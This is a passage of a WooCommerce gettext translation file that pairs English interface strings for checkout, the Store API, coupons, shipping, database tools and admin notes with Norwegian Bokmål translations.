#: src/Blocks/Domain/Services/CheckoutFields.php:680
msgid "Country/Region"
msgstr "Land/region"
#: src/Blocks/Domain/Services/CheckoutFields.php:740
msgid "Apartment, suite, etc. (optional)"
msgstr "Adresselinje 2 (valgfritt)"
#: src/Blocks/Domain/Services/CheckoutFields.php:728
msgid "Address (optional)"
msgstr "Adresse (valgfritt)"
#: src/Blocks/Domain/Services/CheckoutFields.php:716
msgid "Company (optional)"
msgstr "Firma (valgfritt)"
#: src/Blocks/Domain/Services/CheckoutFields.php:704
msgid "Last name (optional)"
msgstr "Etternavn (valgfritt)"
#: src/Blocks/Domain/Services/CheckoutFields.php:692
msgid "First name (optional)"
msgstr "Fornavn (valgfritt)"
#: src/Admin/Features/OnboardingTasks/Tasks/StoreDetails.php:31
msgid "Add store details"
msgstr "Legg til butikkdetaljer"
#: src/Admin/Features/OnboardingTasks/Tasks/Products.php:74
msgid "1 minute per product"
msgstr "1 minutt pr, produkt"
#: src/Admin/Features/OnboardingTasks/Tasks/Shipping.php:69
#: src/Admin/Features/OnboardingTasks/Tasks/Tax.php:96
msgid "1 minute"
msgstr "1 minutt"
#: src/Admin/Features/OnboardingTasks/Tasks/AdditionalPayments.php:66
#: src/Admin/Features/OnboardingTasks/Tasks/Appearance.php:61
#: src/Admin/Features/OnboardingTasks/Tasks/Marketing.php:81
#: src/Admin/Features/OnboardingTasks/Tasks/WooCommercePayments.php:95
msgid "2 minutes"
msgstr "2 minutter"
#: src/Admin/Features/OnboardingTasks/Tasks/StoreDetails.php:54
msgid "4 minutes"
msgstr "4 minutter"
#: includes/admin/settings/class-wc-settings-point-of-sale.php:68
#: src/Admin/Features/OnboardingTasks/Tasks/StoreDetails.php:33
#: assets/client/admin/chunks/homescreen.js:1
msgid "Store details"
msgstr "Butikkdetaljer"
#. translators: %s is an integer higher than 0 (1, 2, 3...)
#: src/Internal/Admin/ProductReviews/Reviews.php:446
#: src/Internal/Admin/ProductReviews/Reviews.php:457
#: assets/client/admin/chunks/2672.js:2 assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/9336.js:1
#: assets/client/admin/chunks/activity-panels-inbox.js:1
#: assets/client/admin/chunks/homescreen.js:1 assets/client/blocks/cart.js:26
#: assets/client/blocks/checkout.js:37
#: assets/client/blocks/classic-shortcode.js:1
#: assets/client/blocks/legacy-template.js:4
msgid "Undo"
msgstr "Angre"
#: src/Blocks/Domain/Services/DraftOrders.php:96
#: src/Blocks/Domain/Services/DraftOrders.php:120
msgctxt "Order status"
msgid "Draft"
msgstr "Utkast"
#. translators: If your word count is based on single characters (e.g. East
#. Asian characters), enter 'characters_excluding_spaces' or
#. 'characters_including_spaces'. Otherwise, enter 'words'. Do not translate
#. into your own language.
#: src/Blocks/BlockTypes/AbstractBlock.php:439
msgctxt "Word count type. Do not translate!"
msgid "words"
msgstr "ord"
#: src/StoreApi/Schemas/V1/ItemSchema.php:307
msgid "Line total tax."
msgstr "Total avgift for linjen."
#: src/StoreApi/Schemas/V1/ItemSchema.php:301
msgid "Line total (the price of the product after coupon discounts have been applied)."
msgstr "Linjesum (prisen på produktet etter at rabattkoder er brukt)."
#: src/StoreApi/Schemas/V1/ItemSchema.php:295
msgid "Line subtotal tax."
msgstr "Linje subtotal avgift."
#: src/StoreApi/Schemas/V1/ItemSchema.php:289
msgid "Line subtotal (the price of the product before coupon discounts have been applied)."
msgstr "Linjedelsum (prisen på produktet før rabattkode er brukt)."
#: src/StoreApi/Schemas/V1/ItemSchema.php:281
msgid "Item total amounts provided using the smallest unit of the currency."
msgstr "Varetotalbeløp som er angitt ved hjelp av den minste enheten i valutaen."
#: src/StoreApi/Schemas/V1/ItemSchema.php:252
msgid "Decimal precision of the returned prices."
msgstr "Desimalpresisjonen for de viste prisene."
#: src/StoreApi/Schemas/V1/ItemSchema.php:246
msgid "Raw unrounded product prices used in calculations. Provided using a higher unit of precision than the currency."
msgstr "Rå usikrede produktpriser som brukes i beregninger. Forutsatt bruk av en høyere presisjonsenhet enn valutaen."
#: src/StoreApi/Schemas/V1/ItemSchema.php:200
msgid "Price data for the product in the current line item, including or excluding taxes based on the \"display prices during cart and checkout\" setting. Provided using the smallest unit of the currency."
msgstr "Prisdata for produktet i gjeldende produktlinje, inkludert eller unntatt avgifter basert på innstillingen \"vis priser under handlekurv og betaling\". Forutsatt bruk av den minste enheten av valutaen."
#: src/StoreApi/Schemas/V1/ItemSchema.php:119
#: src/StoreApi/Schemas/V1/ProductSchema.php:461
msgid "If true, only one item of this product is allowed for purchase in a single order."
msgstr "Hvis sant, bare ett av dette produktet tillattes kjøpt på en enkelt ordre."
#: src/StoreApi/Schemas/V1/ItemSchema.php:107
msgid "True if backorders are allowed past stock availability."
msgstr "Sann hvis restordrer er tillatt utover lagertilgjengelighet."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:208
msgid "True if this is the rate currently selected by the customer for the cart."
msgstr "Sant om dette er satsen som for øyeblikket er valgt av kunden for handlekurven."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:186
msgid "Meta data attached to the shipping rate."
msgstr "Metadata knyttet til fraktprisen."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:180
msgid "Instance ID of the shipping method that provided the rate."
msgstr "Forekomst-id for fraktmåten som ga prisen."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:174
msgid "ID of the shipping method that provided the rate."
msgstr "Id for fraktmåten som ga prisen."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:162
msgid "Price of this shipping rate using the smallest unit of the currency."
msgstr "Pris på denne fraktsatsen basert på den minste enheten i valutaen."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:156
msgid "Delivery time estimate text, e.g. 3-5 business days."
msgstr "Forventert leveringstid tekst, f.eks 3-5 virkedager."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:150
msgid "Description of the shipping rate, e.g. Dispatched via USPS."
msgstr "Beskrivelse av fraktprisen, f.eks. sendt gjennom USPS."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:144
msgid "Name of the shipping rate, e.g. Express shipping."
msgstr "Navnet på fraktprisen, f.eks. Express shipping."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:138
msgid "ID of the shipping rate."
msgstr "Id for fraktsatsen."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:117
msgid "List of shipping rates."
msgstr "Liste over fraktsatser."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:108
msgid "Quantity of the item in the current package."
msgstr "Antall av dette produktet i denne pakken."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:102
msgid "Name of the item."
msgstr "Navnet på elementet."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:88
msgid "List of cart items the returned shipping rates apply to."
msgstr "Liste over handlekurv-elementer de returnerte fraktsatsene gjelder for."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:44
msgid "Shipping destination address."
msgstr "Destinasjonsadresse for levering."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:38
msgid "Name of the package."
msgstr "Navnet på pakken."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:32
msgid "The ID of the package the shipping rates belong to."
msgstr "Id-en for pakken fraktprisene tilhører."
#: src/StoreApi/Schemas/V1/CartSchema.php:303
#: src/StoreApi/Schemas/V1/OrderSchema.php:278
msgid "List of cart item errors, for example, items in the cart which are out of stock."
msgstr "Liste over handlekurvfeil, for eksempel produkter i handlekurven som er utsolgt."
#: src/StoreApi/Schemas/V1/CartSchema.php:285
#: src/StoreApi/Schemas/V1/OrderSchema.php:224
msgid "The amount of tax charged."
msgstr "Avgiftsbeløp innkrevd."
#: src/StoreApi/Schemas/V1/CartSchema.php:279
#: src/StoreApi/Schemas/V1/OrderSchema.php:218
msgid "The name of the tax."
msgstr "Navnet på avgiften."
#: src/StoreApi/Schemas/V1/CartSchema.php:271
#: src/StoreApi/Schemas/V1/OrderSchema.php:210
msgid "Lines of taxes applied to items and shipping."
msgstr "Linjer med avgift som brukes på produkter og levering."
#: src/StoreApi/Schemas/V1/CartSchema.php:265
msgid "Total tax applied to items and shipping."
msgstr "Totale avgifter som brukes på produkter og frakt."
#: src/StoreApi/Schemas/V1/CartSchema.php:259
#: src/StoreApi/Schemas/V1/OrderSchema.php:174
msgid "Total price the customer will pay."
msgstr "Totalpris kunden vil betale."
#: src/StoreApi/Schemas/V1/OrderSchema.php:150
msgid "Total price of shipping."
msgstr "Total fraktpris."
#: src/StoreApi/Schemas/V1/CartSchema.php:241
#: src/StoreApi/Schemas/V1/OrderSchema.php:198
msgid "Total tax removed due to discount from applied coupons."
msgstr "Avgiftsum fjernet på grunn av rabatt fra brukte rabattkoder."
#: src/StoreApi/Schemas/V1/CartSchema.php:235
#: src/StoreApi/Schemas/V1/OrderSchema.php:144
msgid "Total discount from applied coupons."
msgstr "Rabattsum fra brukte rabattkoder."
#: src/StoreApi/Schemas/V1/CartSchema.php:229
#: src/StoreApi/Schemas/V1/OrderSchema.php:192
msgid "Total tax on fees."
msgstr "Total avgift på gebyrer."
#: src/StoreApi/Schemas/V1/CartSchema.php:223
#: src/StoreApi/Schemas/V1/OrderSchema.php:156
msgid "Total price of any applied fees."
msgstr "Totalpris for eventuelle avgifter."
#: src/StoreApi/Schemas/V1/CartSchema.php:217
msgid "Total tax on items in the cart."
msgstr "Total avgift på produkter i handlekurven."
#: src/StoreApi/Schemas/V1/CartSchema.php:211
msgid "Total price of items in the cart."
msgstr "Totalpris for produkter i handlekurven."
#: src/StoreApi/Schemas/V1/CartSchema.php:203
msgid "Cart total amounts provided using the smallest unit of the currency."
msgstr "Handlekurv totale beløp beregnet ved hjelp av den minste enheten av valutaen."
#: src/StoreApi/Schemas/V1/CartSchema.php:175
#: src/StoreApi/Schemas/V1/OrderSchema.php:266
msgid "True if the cart needs payment. False for carts with only free products and no shipping costs."
msgstr "Sant hvis handlekurven trenger betaling. Usant for kurver med bare gratis produkter og ingen fraktkostnader."
#: src/StoreApi/Schemas/V1/CartSchema.php:129
#: src/StoreApi/Schemas/V1/OrderSchema.php:252
msgid "Current set shipping address for the customer."
msgstr "Gjeldende leveringsadresse for kunden."
#: src/StoreApi/Schemas/V1/CartSchema.php:119
msgid "List of available shipping rates for the cart."
msgstr "Liste over tilgjengelige fraktpriser for handlekurven."
#: src/StoreApi/Schemas/V1/CartSchema.php:109
#: src/StoreApi/Schemas/V1/OrderSchema.php:242
msgid "List of applied cart coupons."
msgstr "Liste over brukte rabattkoder for handlekurv."
#: src/StoreApi/Schemas/V1/ErrorSchema.php:36
msgid "Error message"
msgstr "Feilmelding"
#: src/StoreApi/Schemas/V1/ErrorSchema.php:30
msgid "Error code"
msgstr "Feilkode"
#: src/StoreApi/Schemas/V1/ProductCategorySchema.php:59
msgid "Number of reviews for products in this category."
msgstr "Antall omtaler for produkter i denne kategorien."
#: src/StoreApi/Schemas/V1/ProductCategorySchema.php:52
msgid "Category image."
msgstr "Kategoribilde."
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:53
msgid "Returns number of products within attribute terms."
msgstr "Returnerer antall produkter innenfor attributt-termer."
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:30
msgid "Min and max prices found in collection of products, provided using the smallest unit of the currency."
msgstr "Min og maks priser som finnes i samling av produkter, forutsatt bruk av den minste enheten av valutaen."
#. translators: Placeholders are class and method names
#: src/StoreApi/Schemas/V1/BillingAddressSchema.php:145
#: src/StoreApi/Schemas/V1/ShippingAddressSchema.php:85
msgid "%1$s requires an instance of %2$s or %3$s for the address"
msgstr "%1$s krever en forekomst av %2$s eller %3$s for adressen"
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:94
msgid "Country/Region code in ISO 3166-1 alpha-2 format."
msgstr "Lands-/regionkode i ISO 3166-1 alfa-2-format."
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:82
msgid "State/County code, or name of the state, county, province, or district."
msgstr "Statlig/fylkeskode, eller navnet på staten, fylket, provinsen eller distriktet."
#: src/Blocks/Domain/Services/CheckoutFields.php:739
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:70
msgid "Apartment, suite, etc."
msgstr "Adresselinje 2"
#: src/StoreApi/Schemas/V1/AbstractSchema.php:360
#: src/StoreApi/Schemas/V1/AbstractSchema.php:366
msgid "Price prefix for the currency which can be used to format returned prices."
msgstr "Prisprefiks for valutaen som kan brukes til å formatere returnerte priser."
#: src/StoreApi/Schemas/V1/AbstractSchema.php:354
msgid "Thousand separator for the currency which can be used to format returned prices."
msgstr "Tusenskilletegn for valutaen som kan brukes til å formatere returnerte priser."
#: src/StoreApi/Schemas/V1/AbstractSchema.php:348
msgid "Decimal separator for the currency which can be used to format returned prices."
msgstr "Desimalskilletegn for valutaen som kan brukes til å formatere returnerte priser."
#: src/StoreApi/Schemas/V1/AbstractSchema.php:342
msgid "Currency minor unit (number of digits after the decimal separator) for returned prices."
msgstr "Valuta underordnet enhet (antall sifre etter desimalskilletegnet) for returnerte priser."
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:148
#: src/StoreApi/Schemas/V1/AbstractSchema.php:336
msgid "Currency symbol for the currency which can be used to format returned prices."
msgstr "Valutasymbol for valutaen som kan brukes til å formatere returnerte priser."
#: src/StoreApi/Schemas/V1/AbstractSchema.php:330
msgid "Currency code (in ISO format) for returned prices."
msgstr "Valutakode (i ISO-format) for returnerte priser."
#: src/StoreApi/Schemas/V1/CartCouponSchema.php:63
#: src/StoreApi/Schemas/V1/OrderCouponSchema.php:56
msgid "Total tax removed due to discount applied by this coupon."
msgstr "Avgiftsum fjernet på grunn av rabatt lagt til av denne rabattkoden."
#: src/StoreApi/Schemas/V1/CartCouponSchema.php:57
#: src/StoreApi/Schemas/V1/OrderCouponSchema.php:50
msgid "Total discount applied by this coupon."
msgstr "Rabattsum lagt til av denne rabattkoden."
#: src/StoreApi/Schemas/V1/CartCouponSchema.php:49
#: src/StoreApi/Schemas/V1/OrderCouponSchema.php:42
msgid "Total amounts provided using the smallest unit of the currency."
msgstr "Total beregnet ved hjelp av den minste enheten i valutaen."
#: src/StoreApi/Schemas/V1/OrderCouponSchema.php:30
msgid "The coupons unique code."
msgstr "Rabattkodens unike kode."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:187
msgid "A URL to redirect the customer after checkout. This could be, for example, a link to the payment processors website."
msgstr "En nettadresse for å omdirigere kunden etter kassen. Dette kan for eksempel være en lenke til betalingsformidlerens nettsted."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:171
msgid "An array of data being returned from the payment gateway."
msgstr "En datarekke som returneres fra betalingsløsningen."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:166
msgid "Status of the payment returned by the gateway. One of success, pending, failure, error."
msgstr "Status for betalingen som returneres av porten. Enten suksess, ventende, avvist eller feil."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:160
msgid "Result of payment processing, or null if not yet processed."
msgstr "Resultat av betalingsbehandlingen, eller null hvis betalingen ennå ikke er behandlet."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:147
msgid "The ID of the payment method being used to process the payment."
msgstr "Id-en for betalingsmåten som brukes til å behandle betalingen."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:120
msgid "Customer ID if registered. Will return 0 for guests."
msgstr "Kunde-id hvis registrert. Vil returnere 0 for gjester."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:115
msgid "Note added to the order by the customer during checkout."
msgstr "Notat lagt inn av kunden i kassen."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:103
msgid "Order key used to check validity or protect access to certain order data."
msgstr "Ordrenøkkel som brukes til å kontrollere gyldighet eller beskytte tilgangen til bestemte ordredata."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:97
msgid "Order status. Payment providers will update this value after payment."
msgstr "Ordrestatus. Betalingsleverandører oppdaterer denne verdien etter betaling."
#: src/StoreApi/Schemas/V1/CheckoutSchema.php:91
msgid "The order ID to process during checkout."
msgstr "Ordre-id-en som skal behandles i kassen."
#: src/StoreApi/Schemas/V1/TermSchema.php:54
msgid "Parent term ID, if applicable."
msgstr "Forelder term-ID, hvis aktuelt."
#: src/StoreApi/Schemas/V1/ItemSchema.php:101
#: src/StoreApi/Schemas/V1/ProductSchema.php:455
msgid "Quantity left in stock if stock is low, or null if not applicable."
msgstr "Antallet igjen på lager hvis lite på lageret, eller null hvis det ikke er aktuelt."
#: src/StoreApi/Schemas/V1/ProductSchema.php:362
msgid "List of variation IDs, if applicable."
msgstr "Liste over variant-ID-er, hvis aktuelt."
#: src/StoreApi/Schemas/V1/ProductSchema.php:165
msgid "Price string formatted as HTML."
msgstr "Prisstreng formatert som HTML."
#: src/StoreApi/Schemas/V1/ProductSchema.php:116
msgid "Price data provided using the smallest unit of the currency."
msgstr "Prisdata som leveres ved hjelp av den minste enheten i valutaen."
#: src/StoreApi/Schemas/V1/ItemSchema.php:89
#: src/StoreApi/Schemas/V1/ProductSchema.php:100
msgid "Product full description in HTML format."
msgstr "Fullstendig beskrivelse av produktet i HTML-format."
#: src/StoreApi/Schemas/V1/ItemSchema.php:83
#: src/StoreApi/Schemas/V1/ProductSchema.php:95
msgid "Product short description in HTML format."
msgstr "Kort beskrivelse av produktet i HTML-format."
#: src/StoreApi/Schemas/V1/ProductSchema.php:71
msgid "ID of the parent product, if applicable."
msgstr "ID-en til det forelderproduktet, hvis det er aktuelt."
#. translators: %s: product name
#: src/StoreApi/Utilities/CartController.php:1231
msgid ""%s" is not available for purchase."
msgstr ""%s" er ikke tilgjengelig for kjøp."
#. translators: %1$s coupon code, %2$s reason.
#: src/StoreApi/Utilities/CartController.php:1121
msgid "The \"%1$s\" coupon has been removed from your cart: %2$s"
msgstr "Rabattkoden \"%1$s\" er fjernet fra handlekurven: %2$s"
#. translators: %s: coupon code
#: src/StoreApi/Utilities/CartController.php:1060
msgid "\"%s\" has already been applied and cannot be used in conjunction with other coupons."
msgstr "Rabattkoden \"%s\" har allerede blitt brukt, og kan ikke brukes sammen med andre rabattkoder."
#. translators: %s coupon code
#: src/StoreApi/Utilities/CartController.php:1012
msgid "Coupon code \"%s\" has already been applied."
msgstr "Rabattkode \"%s\" er allerede brukt."
#. translators: %s coupon code
#: src/StoreApi/Utilities/CartController.php:1000
msgid "\"%s\" is an invalid coupon code."
msgstr "\"%s\" er en ugyldig rabattkode."
#: src/StoreApi/Utilities/CartController.php:248
msgid "Cart item is invalid."
msgstr "Handlekurvproduktet er ugyldig."
#. translators: %s Coupon codes.
#: src/StoreApi/Utilities/OrderController.php:324
msgid "Invalid coupons were removed from the cart: \"%s\""
msgstr "Ugyldige rabattkoder ble fjernet fra handlekurven: \"%s\""
#: src/StoreApi/Utilities/OrderController.php:45
msgid "Cannot create order from empty cart."
msgstr "Kan ikke opprette ordre fra tom handlekurv."
#: src/StoreApi/Routes/V1/CartSelectShippingRate.php:53
msgid "The chosen rate ID for the package."
msgstr "Den valgte sats-ID-en for pakken."
#: src/StoreApi/Routes/V1/ProductReviews.php:233
msgid "Limit result set to reviews from specific product IDs."
msgstr "Begrens resultat til omtaler fra angitte produkt-id-er."
#: src/StoreApi/Routes/V1/ProductReviews.php:226
msgid "Limit result set to reviews from specific category IDs."
msgstr "Begrens resultat til omtaler fra angitte kategori-id-er."
#: src/StoreApi/Routes/V1/AbstractRoute.php:169
#: src/StoreApi/Routes/V1/AbstractRoute.php:182
#: src/StoreApi/Routes/V1/AbstractRoute.php:195
#: src/StoreApi/Routes/V1/AbstractRoute.php:208
msgid "Method not implemented"
msgstr "Metoden ikke implementert"
#: src/StoreApi/Routes/V1/CartUpdateItem.php:50
msgid "New quantity of the item in the cart."
msgstr "Nytt antall av produkter i handlekurven."
#: src/StoreApi/Routes/V1/CartUpdateItem.php:46
msgid "Unique identifier (key) for the cart item to update."
msgstr "Unik identifikator (nøkkel) for handlekurvproduktet som skal oppdateres."
#. Translators: %s Payment method ID.
#: src/StoreApi/Routes/V1/CheckoutOrder.php:264
msgid "The %s payment gateway is not available."
msgstr "Betalingsløsningen %s er ikke tilgjengelig."
#: src/StoreApi/Routes/V1/Checkout.php:815
#: src/StoreApi/Routes/V1/CheckoutOrder.php:252
msgid "No payment method provided."
msgstr "Ingen betalingsmåte er angitt."
#: src/StoreApi/Utilities/CheckoutTrait.php:85
msgid "Invalid payment result received from payment method."
msgstr "Ugyldig betalingsresultat mottatt fra betalingsmåte."
#: src/StoreApi/Routes/V1/Checkout.php:90
#: src/StoreApi/Routes/V1/CheckoutOrder.php:70
msgid "Data to pass through to the payment method when processing payment."
msgstr "Data som skal overføres til betalingsmåten ved behandling av betaling."
#: src/StoreApi/Routes/V1/CartRemoveItem.php:73
msgid "Cart item no longer exists or is invalid."
msgstr "Handlekurvproduktet finnes ikke lenger eller er ugyldig."
#: src/StoreApi/Routes/V1/CartRemoveItem.php:51
msgid "Unique identifier (key) for the cart item."
msgstr "Unik identifikator (nøkkel) for produktet i handlekurven."
#: src/StoreApi/Routes/V1/AbstractTermsRoute.php:94
msgid "If true, empty terms will not be returned."
msgstr "Hvis sant, returneres ikke tomme termer."
#: src/StoreApi/Routes/V1/AbstractTermsRoute.php:82
msgid "Sort by term property."
msgstr "Sorter etter term-egenskap."
#: src/StoreApi/Routes/V1/AbstractTermsRoute.php:74
msgid "Sort ascending or descending."
msgstr "Sortere stigende eller synkende."
#: src/StoreApi/Routes/V1/CartCouponsByCode.php:82
#: src/StoreApi/Routes/V1/CartCouponsByCode.php:97
msgid "Coupon does not exist in the cart."
msgstr "Rabattkoden finnes ikke i handlekurven."
#: src/StoreApi/Routes/V1/CartRemoveCoupon.php:80
msgid "Coupon cannot be removed because it is not already applied to the cart."
msgstr "Rabattkoden kan ikke fjernes fordi den ikke er brukt på handlekurven."
#: src/StoreApi/Routes/V1/CartRemoveCoupon.php:76
msgid "Invalid coupon code."
msgstr "Ugyldig rabattkode."
#: src/StoreApi/Routes/V1/CartApplyCoupon.php:67
#: src/StoreApi/Routes/V1/CartCoupons.php:106
#: src/StoreApi/Routes/V1/CartRemoveCoupon.php:67
msgid "Coupons are disabled."
msgstr "Rabattkoder er slått av."
#: src/StoreApi/Routes/V1/CartApplyCoupon.php:48
#: src/StoreApi/Routes/V1/CartCouponsByCode.php:51
#: src/StoreApi/Routes/V1/CartRemoveCoupon.php:48
msgid "Unique identifier for the coupon within the cart."
msgstr "Unik identifikator for rabattkoden i handlekurven."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:80
msgid "ISO code for the country of the address being shipped to."
msgstr "ISO-kode for landet for adressen som sendes til."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:74
msgid "Zip or Postcode of the address being shipped to."
msgstr "Zip eller postnummer av adressen som sendes til."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:68
msgid "ISO code, or name, for the state, province, or district of the address being shipped to."
msgstr "ISO-kode, eller navn, for staten, provinsen eller distriktet til adressen som sendes til."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:62
msgid "City of the address being shipped to."
msgstr "Poststed for adressen som det sendes til."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:56
msgid "Second line of the address being shipped to."
msgstr "Andre linje av adressen som sendes til."
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:50
msgid "First line of the address being shipped to."
msgstr "Første linje av adressen som sendes til."
#: src/StoreApi/Routes/V1/Products.php:381
msgid "Limit result set to products based on a maximum price, provided using the smallest unit of the currency."
msgstr "Avgrens resultat til produkter basert på en maksimumpris, som følger med den minste enheten i valutaen."
#: src/StoreApi/Routes/V1/Products.php:374
msgid "Limit result set to products based on a minimum price, provided using the smallest unit of the currency."
msgstr "Avgrens resultat til produkter basert på en minimumspris, som følger med den minste enheten i valutaen."
#: src/StoreApi/Routes/V1/AbstractTermsRoute.php:38
#: src/StoreApi/Routes/V1/ProductReviews.php:187
#: src/StoreApi/Routes/V1/Products.php:145
msgid "Maximum number of items to be returned in result set. Defaults to no limit if left blank."
msgstr "Maksimalt antall produkter som skal returneres i resultatsett. Ingen grense hvis tomt."
#: src/StoreApi/Routes/V1/ProductCategoriesById.php:83
msgid "Invalid category ID."
msgstr "Ugyldig kategori-ID."
#. translators: %1$s table name, %2$s database user, %3$s database name.
#: src/Blocks/Installer.php:123
msgid "WooCommerce %1$s table creation failed. Does the %2$s user have CREATE privileges on the %3$s database?"
msgstr "Oppretting av tabellen for WooCommerce %1$s mislyktes. Har brukeren %2$s CREATE-rettigheter i databasen %3$s?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:614
msgid "Verifying database... One or more tables are still missing: "
msgstr "Bekrefter database... Én eller flere tabeller mangler fortsatt: "
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:612
msgid "Database verified successfully."
msgstr "Databasen er bekreftet."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:605
msgid "You need WooCommerce 4.2 or newer to run this tool."
msgstr "Du trenger WooCommerce 4.2 eller nyere for å kjøre dette verktøyet."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:593
msgid "The active version of WooCommerce does not support template cache clearing."
msgstr "Den aktive versjonen av WooCommerce støtter ikke tømming av mellomlagret for maler."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:591
msgid "Template cache cleared."
msgstr "Mellomlagret for maler er tømt."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:239
msgid "Verify if all base database tables are present."
msgstr "Kontroller om alle basisdatabasetabeller finnes."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:237
msgid "Verify database"
msgstr "Kontrollere databasen"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:236
msgid "Verify base database tables"
msgstr "Verifiser basisdatabasetabeller"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:184
msgid "This tool will empty the template cache."
msgstr "Dette verktøyet vil tømme mellomlagret for maler."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:179
msgid "Clear template cache"
msgstr "Tøm mellomlagret for maler"
#: src/Internal/Admin/Notes/EUVATNumber.php:48
msgid "Collect and validate EU VAT numbers at checkout"
msgstr "Samle inn og validere EU-mva-numre i kassen"
#: src/Internal/Admin/Notes/EUVATNumber.php:45
msgid "If your store is based in the EU, we recommend using the EU VAT Number extension in addition to automated taxes. It provides your checkout with a field to collect and validate a customer's EU VAT number, if they have one."
msgstr "Hvis butikken din er basert i EU, anbefaler vi at du bruker EUs mva-nummerutvidelse i tillegg til automatiserte avgifter. Det gir kassen din et felt for å samle inn og validere en kundes EU-mva-nummer, hvis de har en."
#: src/Internal/Admin/Notes/RealTimeOrderAlerts.php:48
msgid "Get real-time order alerts anywhere"
msgstr "Få ordrevarsler i sanntid hvor som helst"
#: src/Internal/Admin/Notes/RealTimeOrderAlerts.php:45
msgid "Get notifications about store activity, including new orders and product reviews directly on your mobile devices with the Woo app."
msgstr "Få varsler om butikkaktivitet, inkludert nye ordre og produktomtaler, direkte på mobilenhetene dine med Woo-appen."
#: src/Internal/Admin/Notes/OrderMilestones.php:184
msgid "First order received"
msgstr "Første ordre mottatt"
#: src/Internal/Admin/Notes/FirstProduct.php:74
msgid "This video tutorial will help you go through the process of adding your first product in WooCommerce."
msgstr "Denne videoen opplæringen vil hjelpe deg å gå gjennom prosessen med å legge til ditt første produkt i WooCommerce."
#: src/Internal/Admin/Notes/FirstProduct.php:73
msgid "Do you need help with adding your first product?"
msgstr "Trenger du hjelp med å legge til ditt første produkt?"
#: src/Internal/Admin/Notes/OnlineClothingStore.php:85
msgid "Starting a fashion website is exciting but it may seem overwhelming as well. In this article, we'll walk you through the setup process, teach you to create successful product listings, and show you how to market to your ideal audience."
msgstr "Å starte et motenettsted er spennende, men det kan virke overveldende også. I denne artikkelen vil vi gå deg gjennom konfigurasjonsprosessen, lære deg å opprette vellykkede produktoppføringer og vise deg hvordan du markedsfører til ditt ideelle publikum."
#: src/Internal/Admin/Notes/OnlineClothingStore.php:84
msgid "Start your online clothing store"
msgstr "Start din klesbutikk på nettet"
#: src/Admin/Notes/Note.php:603
msgid "The admin note layout has a wrong prop value."
msgstr "Administrasjonsnotatoppsettet har feil prop-verdi."
#: src/Internal/Admin/Notes/FirstProduct.php:81
msgid "Watch tutorial"
msgstr "Se opplæringen"
#: src/Internal/Admin/Notes/GivingFeedbackNotes.php:50
#: assets/client/admin/chunks/3970.js:1
msgid "Share feedback"
msgstr "Del tilbakemelding"
#: src/Internal/Admin/Notes/GivingFeedbackNotes.php:43
msgid "Now that you’ve chosen us as a partner, our goal is to make sure we're providing the right tools to meet your needs. We're looking forward to having your feedback on the store setup experience so we can improve it in the future."
msgstr "Nå som du har valgt oss som partner, er målet vårt å sørge for at vi tilbyr de riktige verktøyene for å møte dine behov. Vi ser frem til å få tilbakemeldinger om butikkoppsettopplevelsen, slik at vi kan forbedre den i fremtiden."
#: src/Internal/Admin/Notes/MigrateFromShopify.php:66
msgid "Changing eCommerce platforms might seem like a big hurdle to overcome, but it is easier than you might think to move your products, customers, and orders to WooCommerce. This article will help you with going through this process."
msgstr "Endre e-handelsplattformer kan virke som et stort hinder å overvinne, men det er enklere enn du kanskje tror å flytte produkter, kunder, og ordre til WooCommerce. Denne artikkelen vil hjelpe deg med å gå gjennom denne prosessen."
#: src/Internal/Admin/Notes/MigrateFromShopify.php:65
msgid "Do you want to migrate from Shopify to WooCommerce?"
